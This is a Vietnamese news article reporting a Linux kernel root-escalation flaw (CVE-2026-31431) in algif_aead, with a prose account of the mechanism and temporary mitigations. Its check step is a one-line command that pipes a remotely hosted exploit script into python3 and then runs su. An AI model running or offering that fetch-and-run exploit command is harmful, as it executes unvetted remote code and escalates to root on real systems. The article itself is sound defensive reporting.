Các nhà nghiên cứu tại Xint Code vừa công bố một lỗ hổng bảo mật nghiêm trọng trên Linux, được định danh là CVE-2026-31431. Lỗ hổng này cho phép bất kỳ người dùng cục bộ không có đặc quyền nào leo thang lên quyền root ngay lập tức — một kịch bản tồi tệ đối với các máy chủ đa người dùng, môi trường container như Kubernetes, pipeline CI/CD và nhiều hệ thống khác.
Đáng lo ngại hơn, lỗ hổng này đã tồn tại từ năm 2017 và ảnh hưởng đến hầu hết các bản phân phối Linux đang được sử dụng hiện nay, bao gồm Ubuntu 24, RHEL 10, Suse 16 và Amazon Linux 2023. Thậm chí WSL2 trên Windows cũng bị ảnh hưởng. Mã khai thác chỉ cần vỏn vẹn 732 byte để thực thi.
Cơ chế khai thác
Lỗ hổng bắt nguồn từ một tối ưu hóa nội bộ trong hàm kernel algif_aead. Thay vì sao chép dữ liệu cần mã hóa rồi trả về, hàm này liên kết trực tiếp dữ liệu tag vào bộ đệm đầu ra bằng tham chiếu. Kẻ tấn công có thể lợi dụng điều này bằng cách cung cấp một đoạn dữ liệu của file thực thi — chẳng hạn như su — làm tag. Thuật toán mã hóa authencesn sau đó sẽ ghi 4 byte vào vị trí cố định trong bộ đệm đầu ra, tức là ghi thẳng vào bản sao cache của file thực thi đó trong bộ nhớ kernel. Khi file này được gọi thực thi, nó sẽ chạy ở trạng thái bị chỉnh sửa và cấp quyền administrator cho kẻ tấn công. Toàn bộ quá trình diễn ra trong bộ nhớ RAM, không để lại dấu vết ghi đĩa, khiến nhiều phần mềm bảo mật khó phát hiện.
Nhóm nghiên cứu cũng tiết lộ rằng họ tìm ra lỗ hổng này với sự hỗ trợ của một công cụ AI. Vì mã nguồn kernel Linux vốn là công khai, về lý thuyết bất kỳ kẻ tấn công nghiêm túc nào cũng có thể tìm ra theo cách tương tự.
Cách kiểm tra và khắc phục
Quản trị viên có thể kiểm tra hệ thống bằng cách chạy lệnh curl https://copy.fail/exp | python3 && su với tài khoản không có đặc quyền — tuy nhiên cần lưu ý rằng cách này yêu cầu tin tưởng vào một script trực tuyến. Mã nguồn proof-of-concept cũng được công bố công khai để tham khảo.
Hiện kernel Linux đã có bản vá, nhưng thời gian công bố ngắn khiến nhiều nhà phân phối chưa kịp cập nhật. Trong thời gian chờ bản vá chính thức, có hai biện pháp khắc phục tạm thời. Nếu hệ thống tải algif_aead dưới dạng module, quản trị viên có thể vô hiệu hóa nó bằng lệnh echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf. Tuy nhiên, một số bản phân phối như RHEL và WSL2 tích hợp chức năng này trực tiếp vào nhân kernel, do đó cần phải chặn người dùng mở socket AF_ALG thông qua các công cụ như seccomp profiles, AppArmor hoặc SELinux.



